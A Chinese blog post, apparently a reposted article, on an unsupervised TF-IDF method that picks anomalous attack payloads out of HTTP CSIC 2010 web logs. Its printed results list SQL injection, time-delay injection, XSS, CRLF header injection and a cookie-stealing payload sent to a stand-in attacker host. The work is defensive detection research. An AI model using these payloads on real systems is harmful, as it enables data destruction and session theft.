一, 写在前面
做 web 安全已经三四年了, 从最初的小白到今天的初探门路, 小鲜肉已经熬成了油腻大叔. Web 安全是一个日新月异的朝阳领域, 每天的互联网上都在发生着从未暴露的 0 Day 和 N Day 攻击. 这时一个大家都意识到的重要问题就浮出水面了: 如何能从海量 Web 访问日志中把那一小撮异常请求捞出来, 供安全人员分析或进行自动化实时阻断和报警?
对于这个问题, 传统的方法是利用传统的 WAF(无机器学习引擎), 进行规则匹配. 传统 WAF 有其存在的意义, 但也有其掣肘. 首先, 安全从业人员都懂, 基于黑名单的防御往往存在各种被绕过的风险, 看看安全论坛里各式花样打狗 (安全狗) 秘籍就可见一斑. 其次, 传统 WAF 只能发现已知的安全攻击行为或类型, 对于新出现的攻击存在更新延迟, 维护上也有比较大的成本. 我认为这些问题都源于一个现实 -- 传统 WAF 不能对其保护的网站进行建模, 因此只能基于已知规则, 对各式各样的 Web 系统进行统一的无差别的保护.
近年来, 机器学习 (包括深度学习) 高调闯入人们的视野, 也逐步应用在了信息安全领域. 基于机器学习的 WAF 相关论文和文章也看了一些, 似乎大家都主要应用了有监督机器学习, 也都提到了一个问题: 有标记的攻击数据集 (黑样本) 难于大量获取. 而一小波提出无监督异常检测思路的文章, 又会遇到精确度低的问题.
针对这些问题, 我决定先进行一些分解. 既然直接预测整个请求是否是攻击很难做到可接受的准确率, 不妨就先把异常的攻击 Payload 找出来. 找出来后, 就可以用来进行精准的攻击分析, 还可以帮助优化 WAF 规则等. 本文所述的技术最大的优势是无监督, 无需先验规则即可自动提取异常 Payload.
项目 GitHub: https://GitHub.com/zhanghaoyil/Hawk-I https://GitHub.com/zhanghaoyil/Hawk-I (不断完善中, 欢迎贡献代码)
二, 思路
要把异常参数找出来, 最显而易见要解决的问题就是如何量化请求中各参数的异常程度. 为了最大化利用日志中蕴含的需要保护的 Web 系统自身的结构信息, 我决定对请求按访问路径进行拆解, 即分析参数 value 在同路径同参数 Key 的其他参数值中的异常程度.
具体算法步骤是:
1) 基于 TF-IDF 对不同路径下的样本分别进行特征向量化, 按参数维度对特征向量进行汇聚.
2) 基于特征向量提取出样本参数在同路径同参数 Key 的其他参数值中异常分数 AS(Anomaly Score).
3) 设置阈值 T, 取出 AS 大于 T 的异常参数值作为输出.
三, 数据集及预处理
本文使用 HTTP CSIC 2010 数据集. 该数据集由西班牙最高科研理事会 CSIC 在论文 Application of the Generic Feature Selection Measure in Detection of Web Attacks 中作为附件给出的, 是一个电子商务网站的访问日志, 包含 36000 个正常请求和 25000 多个攻击请求. 异常请求样本中包含 SQL 注入, 文件遍历, CRLF 注入, XSS,SSI 等攻击样本. 数据集下载链接:
http://www.isi.csic.es/dataset/ http://www.isi.csic.es/dataset/ . 在本项目 GitHub 中也准备好了.
HTTP CSIC 2010 数据集单个样本为如下格式:
- POST http://localhost:8080/tienda1/publico/anadir.jsp HTTP/1.1
- User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) Khtml/3.5.8 (like Gecko)
- Pragma: no-cache
- Cache-control: no-cache
- Accept: text/xml,application/xml,application/xhtml+xml,text/HTML;q=0.9,text/plain;q=0.8,image/PNG,/;q=0.5
- Accept-Encoding: x-gzip, x-deflate, gzip, deflate
- Accept-Charset: utf-8, utf-8;q=0.5, *;q=0.5
- Accept-Language: en
- Host: localhost:8080
- Cookie: JSESSIONID=933185092E0B668B90676E0A2B0767AF
- Content-Type: application/x-www-form-urlencoded
- Connection: close
- Content-Length: 68
- id=3&nombre=Vino+Rioja&precio=100&cantidad=55&B1=A%F1adir+al+carrito
根据观察, 该数据集除路径 (URI) 和参数外其他 Header 无任何攻击 Payload, 具有很多冗余信息. 因此对该数据集进行格式化, 只保留 HTTP 方法, 路径和参数, 转为 JSON 格式方便后面使用. 具体进行了如下预处理, 具体代码见 data/parse.py:
1) 去除冗余信息.
2) 执行迭代的 urldecode.
3) 生成标准化的参数, 将大小写字母, 数字分别转换为 a 和 n. 同时保留原始参数和标准化的参数, 用于最终的 Payload 提取.
- def normalize(self, s, with_sub=True):
- #urldecode
- while True:
- new_s = parse.unquote(s, encoding='ascii', errors='ignore')
- if new_s == s:
- break
- else:
- s = new_s
- #normalize
- if withsub:
- s = re.sub('\ufffd', 'a', s)
- s = re.sub('[a-zA-Z]', 'a', s)
- s = re.sub('\d', 'n', s)
- s = re.sub('a+', 'a+', s)
- s = re.sub('n+', 'n+', s)
- s = re.sub('','', s)
- return s
四, 实现
根据算法步骤, 项目主要分为向量化和参数异常评估和异常 Payload 提取两部分.
1. 向量化和参数异常分数
一个 Web 访问记录的成分是比较固定的, 每个部分 (方法, 路径, 参数, HTTP 头, Cookie 等) 都有比较好的结构化特点. 因此可以把 Web 攻击识别任务抽象为文本分类任务, 而且这种思路应用在了安全领域, 如有监督的攻击识别 [1], XSS 识别[2] 等. 文本分类任务中常用的向量化手段有词袋模型(Bag of Word,BOW),TF-IDF 模型, 词向量化(word2vec) 等, 兜哥的文章 [3] 已经做了详细的讲解.
经过对 Web 日志特点的分析, 本文认为使用 TF-IDF 来对样本进行向量化效果更好. 一是经过标准化后请求参数的值仍会有非常多的可能性, 这种情况下词袋模型生成的特征向量长度会非常大, 而且没法收缩; 二是每个请求中参数个数有大有小, 绝大多数不超过 10 个, 这个时候词向量能表达的信息非常有限, 并不能反映出参数 value 的异常性; 三是 TF-IDF 可以表达出不同请求同一参数的值是否更有特异性, 尤其是 IDF 项.
举个例子, http://ip.taobao.com/ipSearch.HTML?ipAddr=8.8.8.8 http://ip.taobao.com/ipSearch.HTML?ipAddr=8.8.8.8 是一个查询 IP 详细信息的页面(真实存在), 在某一段时间内收到了 10000 个请求, 其中 9990 个请求中 ipAddr 参数值是符合 xx.xx.xx.xx 这个 IP 的格式的, 通过 0*2 中提到的标准化之后, 也就是 9990 个请求的 ipAddr 参数为 n+.n+.n+.n+ (当然这里做了简化, 数字不一定为多位). 此外有 10 个请求的 ipAddr 是形如 alert('XSS'),'or'1'='1 之类的不同的攻击 Payload.
经过 TF-IDF 向量化后, 那 9900 个请求 ipAddr=n+.n+.n+.n + 这一项的 TF-IDF 值:
TF-IDF normal = TF * IDF = 1 * log(10000/(9990+1)) = 0.001
而出现 ipAddr=alert('XSS')的请求的 TF-IDF 值:
TF-IDF abnormal = TF * IDF = 1 * log(10000/(1+1)) = 8.517
可以看出异常请求参数 value 的 TF-IDF 是远大于正常请求的, 因此 TF-IDF 可以很好地反映出参数 value 的异常程度.
熟悉 TF-IDF 的同学一定有疑问了, 你这 TF-IDF 的字典也会很大呀, 如果样本量很大而且有各式各样的参数 value, 你的特征向量岂不是稀疏得不行了? 对于这个问题, 我有一个解决方案, 也就是将所有的 TF-IDF 进一步加以处理, 对参数 key 相同的 TF-IDF 项进行求和. 设参数 key 集合为 K={k1, k2, ..., kn},TF-IDF 字典为集合 x={x1, x2, ..., xm}. 则每个参数 key 的特征值为:
vn = ∑TF-IDFxn xn∈{x | x startswith 'kn='}
具体代码在 vectorize/vectorizer.py 中:
- for path, strs in path_buckets.items():
- if not strs:
- continue
- vectorizer = TfidfVectorizer(analyzer='Word', token_pattern=r"(?u)\b\S\S+\b")
- try:
- tfidf = vectorizer.fit_transform(strs)
- #putting same key's indices together
- paramindex = {}
- for kv, index in vectorizer.vocabulary.items():
- k = kv.split('=')[0]
- if k in param_index.keys():
- param_index[k].append(index)
- else:
- param_index[k] = [index]
- #shrinking tfidf vectors
- tfidf_vectors = []
- for vector in tfidf.toarray():
- v = []
- for param, index in param_index.items():
- v.append(np.sum(vector[index]))
- tfidf_vectors.append(v)
- #other features
- other_vectors = []
- for str in strs:
- ov = []
- kvs = str.split(' ')[:-1]
- lengths = np.array(list(map(lambda x: len(x), kvs)))
- #param count
- ov.append(len(kvs))
- #mean kv length
- ov.append(np.mean(lengths))
- #max kv length
- ov.append(np.max(lengths))
- #min kv length
- ov.append(np.min(lengths))
- #kv length std
- ov.append(np.std(lengths))
- other_vectors.append(ov)
- tfidf_vectors = np.array(tfidf_vectors)
- other_vectors = np.array(other_vectors)
- vectors = np.concatenate((tfidf_vectors, other_vectors), axis=1)
这些特征向量能否充分反映样本的异常性呢? 我使用未调参的随机森林模型进行验证, 得到了大于 95% 准确率的结果, 比较满意. 下图是模型学习曲线, 可以看出仍处于欠训练的状态, 如果样本量更充足的话将会得到更好的效果.
由于本文所述方法旨在使用无监督学习提取异常参数, 并不用纠结于有监督分类的结果, 只要验证了提取的特征的确可以反映出参数的异常性即可.
2. 异常参数值提取
得到参数值的异常分数下面的工作就简单多了, 主要就是:
数据的标准化(Standardization)
根据阈值确定异常参数
根据异常分数在训练集矩阵的位置提取对应的参数值
这部分没有什么特别的逻辑, 直接看代码吧:
- if name == 'main':
- x = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_x.npy")
- params = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_params.npy")
- with open(f"../vectorize/paths/~tienda1~publico~registro.jsp_samples.JSON", 'r') as sf:
- samples = JSON.loads(sf.readline())
- #Standardization
- ases = StandardScaler().fit_transform(x[:, :len(params)])
- indices = ases > 6
- #extract anomalous payload
- for s in range(indices.shape[0]):
- for p in range(indices.shape[1]):
- if indices[s, p] and params[p] in samples[s]['OriParams'].keys() and samples[s]['OriParams'][params[p]].strip():
- print(f"##{params[p]}## ##{samples[s]['OriParams'][params[p]]}##")
提取结果:
- ##modo## ##registroalert("Paros");##
- ##modo## ##registroalert("Paros");##
- ##ntc## ##|##
- ##ntc## ##|##
- ##modo## ####
- ##modo## ####
- ##modo## ##registro'AND'1'='1##
- ##modo## ##registro'AND'1'='1##
- ##ntc## ##9851892046707743alert("Paros");##
- ##ntc## ##9851892046707743alert("Paros");##
- ##ntc## ##5024784015351535alert("Paros");##
- ##ntc## ##5024784015351535alert("Paros");##
- ##ntc## ##878731290934670A##
- ##ntc## ##878731290934670A##
- ##nombre## ##Remi'g/*io##
- ##nombre## ##Remi'g/*io##
- ##cp## ##1642A##
- ##cp## ##1642A##
- ##cp## ##any?
- Set-cookie:+Tamper=1041264011025374727##
- ##cp## ##any?
- Set-cookie:+Tamper=1041264011025374727##
- ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE'%##
- ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE'%##
- ##modo## ##registro@40##
- ##modo## ##registro@40##
- ##ntc## ##841140437746594A##
- ##ntc## ##841140437746594A##
- ##cp## ##31227Set-cookie:+Tamper=1041264011025374727##
- ##cp## ##31227Set-cookie:+Tamper=1041264011025374727##
- ##ntc## ##|##
- ##ntc## ##|##
- ##cp## ##paros"+style="background:url(JavaScript:alert('Paros'))&id=2##
- ##cp## ##paros"+style="background:url(JavaScript:alert('Paros'))&id=2##
- ##modo## ##|##
- ##modo## ##|##
- ##cp## ##4377A##
- ##cp## ##4377A##
- ##modo## ##+##
- ##modo## ##+##
- ##modo## ##' DELETE FROM USERS##
- ##modo## ##' DELETE FROM USERS##
- ##dni## ####
- ##dni## ####
- ##cp## ####
- ##cp## ####
- ##ntc## ##9812245040414546','0','0','0','0');waitfor delay'0:0:15';--##
- ##ntc## ##9812245040414546','0','0','0','0');waitfor delay'0:0:15';--##
- ##dni## ##684739141##
- ##dni## ##684739141##
- ##modo## ##registro' DELETE FROM USERS##
- ##modo## ##registro' DELETE FROM USERS##
- ##nombre## ##*Aitan/a##
- ##nombre## ##*Aitan/a##
- ##ntc## ##6995607131571243##
- ##ntc## ##6995607131571243##
- ##modo## ##registroalert("Paros");##
- ##modo## ##registroalert("Paros");##
- ##modo## ##','0','0','0');waitfor delay'0:0:15';--##
- ##modo## ##','0','0','0');waitfor delay'0:0:15';--##
- ##modo## ##registro';waitfor delay'0:0:15';--##
- ##modo## ##registro';waitfor delay'0:0:15';--##
- ##modo## ####
- ##modo## ####
- ##modo## ##registro"><##
- ##modo## ##registro"><##
- ##modo## ##'OR'a='a##
- ##modo## ##'OR'a='a##
- ##cp## ##any
- Set-cookie:+Tamper=5765205567234876235##
- ##cp## ##any
- Set-cookie:+Tamper=5765205567234876235##
- ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE'%##
- ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE'%##
- ##ntc## ##@40##
- ##ntc## ##@40##
- ##cp## ##AND 11=1##
- ##cp## ##AND 11=1##
- ##modo## ##registroAND 11=1##
- ##modo## ##registroAND 11=1##
- ##modo## ##+##
- ##modo## ##+##
- ##modo## ##registrobob@alert(Paros).parosproxy.org##
- ##modo## ##registrobob@alert(Paros).parosproxy.org##
- ##cp## ##any?
- Set-cookie:+Tamper=5765205567234876235##
- ##cp## ##any?
- Set-cookie:+Tamper=5765205567234876235##
- ##dni## ##paros"+style="background:url(JavaScript:alert('Paros'))&id=2##
- ##dni## ##paros"+style="background:url(JavaScript:alert('Paros'))&id=2##
- ##cp## ##44349','0');waitfor delay'0:0:15';--##
- ##cp## ##44349','0');waitfor delay'0:0:15';--##
- ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/CGI-bin/cookiesteal.CGI?'+ document.cookie##
- ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/CGI-bin/cookiesteal.CGI?'+ document.cookie##
- ##ntc## ##219312393915667A##
- ##ntc## ##219312393915667A##
- ##ntc## ##928497527479202A##
- ##ntc## ##928497527479202A##
- ##ntc## ##848868523325038A##
- ##ntc## ##848868523325038A##
- ##ntc## ##AND 11=1##
- ##ntc## ##AND 11=1##
- ##ntc## ## ##
- ##ntc## ## ##
- ##dni## ##B071B890B48F##
- ##dni## ##B071B890B48F##
- ##modo## ##registro##
- ##modo## ##registro##
- ##cp## ##26130any
- Set-cookie:+Tamper=5765205567234876235##
- ##cp## ##26130any
- Set-cookie:+Tamper=5765205567234876235##
- ##ntc## ##'AND'1'='1##
- ##ntc## ##'AND'1'='1##
- ##modo## ##registro ##
- ##modo## ##registro ##
- ##ntc## ##+##
- ##ntc## ##+##
- ##ntc## ##706790437347227A##
- ##ntc## ##706790437347227A##
- ##cp## ##+##
- ##cp## ##+##
- ##dni## ##';waitfor delay'0:0:15';--##
- ##dni## ##';waitfor delay'0:0:15';--##
- ##cp## ##44721bob@alert(Paros).parosproxy.org##
- ##cp## ##44721bob@alert(Paros).parosproxy.org##
- ##cp## ####
- ##cp## ####
- ##ntc## ##424959116693048A##
- ##ntc## ##424959116693048A##
- ##cp## ##bob@alert(Paros).parosproxy.org##
- ##cp## ##bob@alert(Paros).parosproxy.org##
- ##cp## ##31495bob@alert(Paros).parosproxy.org##
- ##cp## ##31495bob@alert(Paros).parosproxy.org##
- ##ntc## ##899062190611389A##
- ##ntc## ##899062190611389A##
- ##ntc## ##0602317509119469##
- ##ntc## ##0602317509119469##
- ##modo## ##','0');waitfor delay'0:0:15';--##
- ##modo## ##','0');waitfor delay'0:0:15';--##
- ##dni## ##'AND'1'='1##
- ##dni## ##'AND'1'='1##
- ##modo## ##registro','0','0','0','0');waitfor delay'0:0:15';--##
- ##modo## ##registro','0','0','0','0');waitfor delay'0:0:15';--##
- ##dni## ##64105812Mparos"+style="background:url(JavaScript:alert('Paros'))&id=2##
- ##dni## ##64105812Mparos"+style="background:url(JavaScript:alert('Paros'))&id=2##
- ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/CGI-bin/cookiesteal.CGI?'+ document.cookie##
- ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/CGI-bin/cookiesteal.CGI?'+ document.cookie##
- ##cp## ##22314','0','0');waitfor delay'0:0:15';--##
- ##cp## ##22314','0','0');waitfor delay'0:0:15';--##
- ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/CGI-bin/cookiesteal.CGI?'+document.cookie?##
- ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/CGI-bin/cookiesteal.CGI?'+document.cookie?##
- ##modo## ##registro@40##
- ##modo## ##registro@40##
- ##dni## ##35507034W"AND"1"="1##
- ##dni## ##35507034W"AND"1"="1##
- ##modo## ##registroSet-cookie:+Tamper=1041264011025374727##
- ##modo## ##registroSet-cookie:+Tamper=1041264011025374727##
- ##cp## ##','0','0','0','0');waitfor delay'0:0:15';--##
- ##cp## ##','0','0','0','0');waitfor delay'0:0:15';--##
- ##cp## ##08696paros"style="background:url(JavaScript:alert('Paros'))##
- ##cp## ##08696paros"style="background:url(JavaScript:alert('Paros'))##
- ##dni## ##paros"style="background:url(JavaScript:alert('Paros'))##
- ##dni## ##paros"style="background:url(JavaScript:alert('Paros'))##
- ##cp## ##0530A##
- ##cp## ##0530A##
- ##ntc## ##any
- Set-cookie:+Tamper=5765205567234876235##
- ##ntc## ##any
- Set-cookie:+Tamper=5765205567234876235##
- ##cp## ##0951A##
- ##cp## ##0951A##
- ##ntc## ##any?
- Set-cookie:+Tamper=5765205567234876235##
- ##ntc## ##any?
- Set-cookie:+Tamper=5765205567234876235##
- ##modo## ##registro"><##
- ##modo## ##registro"><##
- ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/CGI-bin/cookiesteal.CGI?'+document.cookie?##
- ##modo## ##registrosessionid=12312312& username=
- ##cp## ##1883A##
- ##cp## ##1883A##
- ##ntc## ##1816581279872417'OR'a='a##
- ##ntc## ##1816581279872417'OR'a='a##
- ##modo## ##registrosessionid=12312312& username=
- ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/CGI-bin/cookiesteal.CGI?'+ document.cookie##
- ##modo## ##');waitfor delay'0:0:15';--##
- ##modo## ##');waitfor delay'0:0:15';--##
- ##modo## ##registro'INJECTED_PARAM##
- ##modo## ##registro'INJECTED_PARAM##
- ##dni## ##83627503D','0','0','0');waitfor delay'0:0:15';--##
- ##dni## ##83627503D','0','0','0');waitfor delay'0:0:15';--##
- ##cp## ##1914A##
- ##cp## ##1914A##
- ##cp## ##35543' DELETE FROM USERS##
- ##cp## ##35543' DELETE FROM USERS##
- ##ntc## ##@40##
- ##ntc## ##@40##
- ##cp## ##alert("Paros");##
- ##cp## ##alert("Paros");##
- ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org##
- ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org##
- ##modo## ##|##
- ##modo## ##|##
- ##ntc## ##alert("Paros");##
- ##ntc## ##alert("Paros");##
- ##ntc## ##367411357982441A##
- ##ntc## ##367411357982441A##
- ##cp## ##';waitfor delay'0:0:15';--##
- ##cp## ##';waitfor delay'0:0:15';--##
- ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org##
- ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org##
- ##modo## ##|##
- ##modo## ##|##
- ##ntc## ##7238071991283064 ##
- ##ntc## ##7238071991283064 ##
- ##cp## ##0529A##
- ##cp## ##0529A##
- ##modo## ##'INJECTED_PARAM##
- ##modo## ##'INJECTED_PARAM##
- ##dni## ##+##
- ##dni## ##+##
- ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/CGI-bin/cookiesteal.CGI?'+ document.cookie##
- ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/CGI-bin/cookiesteal.CGI?'+ document.cookie##
- ##dni## ####
- ##dni## ####
- ##modo## ##registro@40##
- ##modo## ##registro@40##
- ##cp## ##46715alert("Paros");##
- ##cp## ##46715alert("Paros");##
- ##cp## ##08786Set-cookie:+Tamper=1041264011025374727##
- ##cp## ##08786Set-cookie:+Tamper=1041264011025374727##
- ##modo## ##alert("Paros");##
- ##modo## ##alert("Paros");##
- ##modo## ##"><##
- ##modo## ##"><##
- ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/CGI-bin/cookiesteal.CGI?'+document.cookie?##
- ##modo## ##registrosessionid=12312312& username=
- ##ntc## ##1771682809315400'AND'1'='1##
- ##ntc## ##1771682809315400'AND'1'='1##
可以看到, 至此已经把异常参数值提取出来了, 包括 SQL 注入, XSS, 命令注入, CRLF 注入, 文件包含等典型的攻击 Payload.
五, 后续计划
这篇文章算是我在信息安全领域应用机器学习一系列尝试的第一篇, 思路不算清奇, 也没有什么特别的难点. 但我个人喜欢先抑后扬, 不管怎么样先把成果搞出来, 然后再慢慢优化和进步嘛. 路总是一步一步走的.
后面我打算还是在 Web 安全这个领域做一些机器学习应用尝试. 这篇文章只是静态地提取出异常 Payload, 而没有利用到关键的 Web 系统结构信息, 包括访问时序的特征, 访问来源主体(IP,UID, 设备指纹等), 访问分布的特征, 我将充分利用这些信息, 尝试开发一个无规则化的简易机器学习 WAF.
参考链接:
- http://www.freebuf.com/news/142069.HTML
- http://www.freebuf.com/column/167084.HTML
来源: http://netsecurity.51cto.com/art/201810/584524.htm